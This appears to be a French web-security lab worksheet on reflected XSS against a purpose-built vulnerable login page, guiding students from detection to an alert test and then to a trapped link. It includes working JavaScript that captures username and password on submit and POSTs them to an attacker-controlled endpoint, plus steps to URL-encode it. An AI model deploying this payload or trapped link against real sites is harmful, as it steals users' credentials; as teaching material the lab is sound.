

SECURITE DES APPLICATIONS WEB – TP N°02



OBJECTIF

- Comprendre le principe d'une attaque XSS sur une balise script qui traîne dans la page de login

APPLICATION A UTILISER

- Une application vulnérable est mise à votre disposition : <https://vulnerable.cleverapps.io/login>
- Dans cette page, vous avez détecté une balise `<div id= "message" style="display :none">` qui est suspecte.
- Il y a également une balise `<div id= "error" class="error">`
- Ces 2 balises permettent d'injecter des messages à destination des utilisateurs.
- On suppose que la balise message permet d'avertir les utilisateurs avec des messages du type « Maintenance prévue le... » sous forme de code HTML. C'est assez courant cette pratique mais assez dangereux comme on va le voir.

LA DETECTION DES FAILLES

Ce que l'attaquant peut voir sans accès au code source :

- Le HTML rendu dans le navigateur :
Il suffit de faire un clic droit > "Afficher le code source".
- Les paramètres d'URL et leurs effets :
En testant `?message=`, `?error=`, etc., l'attaquant peut déduire que certains paramètres influencent le contenu affiché.
- Le contenu injecté par le serveur :
En repérant que le contenu d'un paramètre qui apparaît brut dans une balise `<div>`, il comprend que du HTML non échappé est injecté.
- Le JavaScript livré au navigateur
L'attaquant peut lire tous les fichiers .js publics et observer le DOM via `console.log(document)`.

1ERE ETAPE : DETECTER SI LA FAILLE EXISTE

- Essayez d'appeler la page de login avec ?error=coucou.
 - Inspectez le code et vérifiez si oui ou non le message a été injecté.
 - Si le message n'est pas injecté alors il n'y a pas de faille
- Essayez maintenant la même chose avec ?message=Coucou.
 - Inspectez le code et vérifiez si le message a été injecté ou non.
 - Le fait qu'il soit en **display:none** par défaut n'est pas un problème pour la suite.
- Si vous avez réussi passez à l'étape 2.

2EME ETAPE : PEUT-ON EXECUTER DU JAVASCRIPT VIA CETTE FAILLE

- Essayez maintenant d'insérer un script javascript qui déclenche simplement l'affichage d'un message d'alerte.
 - Normalement cela doit fonctionner.

3EME ETAPE : A L'ATTAQUE !

Dans cette dernière étape, nous souhaitons exploiter cette vulnérabilité.

Principe : envoyer un lien piégé à une victime, sauf qu'évidemment on ne va pas piéger le lien avec une alert javascript mais avec un **KeyLogger**.

L'idée est que lorsque la victime clique sur le bouton « Se connecter » ses identifiants et mot de passe soient envoyés en POST à une API pirate : <https://voldenuit.cleverapps.io/steal>

- Créez un keylogger en javascript :

```
window.addEventListener("DOMContentLoaded", function() {
  const btn = document.querySelector("[type='submit']");
  if (btn) {
    btn.addEventListener("click", function() {
      fetch("https://voldenuit.cleverapps.io/steal", {
        method: "POST",
        headers: { "Content-Type": "application/json" },
        body: JSON.stringify({
          id: "pirate123",
          username: document.querySelector("[name='username']").value,
          password: document.querySelector("[name='password']").value,
          time: Date.now()
        })
      });
    });
  }
});
```

TP :

- Evidemment pour inclure ce script dans un lien https il faut encoder tous les caractères non compatibles avec une URL en utilisant des caractères d'échappement.
- Remplacer dans le script **pirate123** par votre pseudo.
- Trouvez un moyen d'encoder le code javascript du **KeyLogger** pour qu'il soit injectable dans un lien piégé. En effet il faut échapper tous les caractères spéciaux afin qu'ils soient injectables dans un lien http ou https.
- Ensuite créez votre lien piégé contenant le code suivant :
[https://vulnerable.cleverapps.io/login?message=\[ATTACHE_XSS\]](https://vulnerable.cleverapps.io/login?message=[ATTACHE_XSS])
- Vous pouvez vous l'envoyer pour voir s'il fonctionne.
- Pour voir si cela a fonctionné, accédez aux logs de votre serveur pirate :
<https://voldenuit.cleverapps.io/logs>